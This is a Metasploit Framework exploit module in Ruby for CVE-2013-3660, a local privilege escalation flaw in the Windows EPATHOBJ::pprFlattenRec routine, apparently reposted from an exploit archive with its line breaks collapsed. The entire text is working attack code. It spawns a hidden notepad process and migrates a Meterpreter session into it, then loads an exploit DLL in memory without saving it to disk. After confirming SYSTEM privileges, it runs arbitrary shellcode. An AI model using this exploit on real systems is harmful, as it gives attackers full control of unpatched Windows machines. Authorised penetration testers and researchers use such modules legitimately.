Microsoft Windows – ‘EPATHOBJ::pprFlattenRec’ Local Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/process' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage of uninitialized data which allows to corrupt memory. At the moment, the module has been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit 'progmboy <programmeboy[at]gmail.com>', # Original Exploit 'Keebie4e', # Metasploit integration 'egypt', # Metasploit integration 'sinn3r', # Metasploit integration 'Meatballs', # Metasploit integration 'juan vazquez' # Metasploit integration ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Automatic', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'CVE', '2013-3660' ], [ 'EDB', '25912' ], [ 'OSVDB', '93539' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], ], 'DisclosureDate' => 'May 15 2013', 'DefaultTarget' => 0 })) end def check os = sysinfo["OS"] if os =~ /windows/i return Exploit::CheckCode::Vulnerable end end def exploit if sysinfo["Architecture"] =~ /wow64/i fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") end print_status("Creating a new process and migrating...") cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe" new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) new_pid = new_proc.pid if not new_pid print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself") else print_status("Migrating to #{new_pid}") migrate_res = false begin migrate_res = session.core.migrate(new_pid) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError migrate_res = false end if migrate_res print_good("Successfully migrated to process #{new_pid}") else print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually") end end print_status("Trying to load the exploit and executing...") session.core.load_library({ "LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"), "UploadLibrary" => true, "Extension" => false, "TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll", "SaveToDisk" => false }) print_status("Checking privileges after exploitation...") if is_system? print_good("Exploitation successful!") else fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again") end if execute_shellcode(payload.encoded) print_good("Enjoy!") else fail_with(Exploit::Failure::Unknown, "Error while executing the payload") end end end |